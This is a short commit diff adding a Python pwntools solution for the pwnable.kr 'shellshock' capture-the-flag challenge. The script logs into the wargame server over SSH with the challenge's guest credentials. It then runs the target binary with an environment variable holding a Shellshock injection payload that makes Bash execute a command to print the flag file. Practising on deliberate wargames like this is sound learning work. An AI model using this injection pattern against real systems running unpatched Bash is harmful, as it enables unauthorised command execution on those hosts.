add shellshock sol

Author: programmeruser2

Diff for: pwnable-kr/shellshock.py

@@ -0,0 +1,4 @@
+from pwn import *
+s = ssh(host='pwnable.kr', port=2222, user='shellshock', password='guest')
+p = s.process('./shellshock', env={'MYVAR': '() { :; }; /bin/cat flag'})
+p.interactive()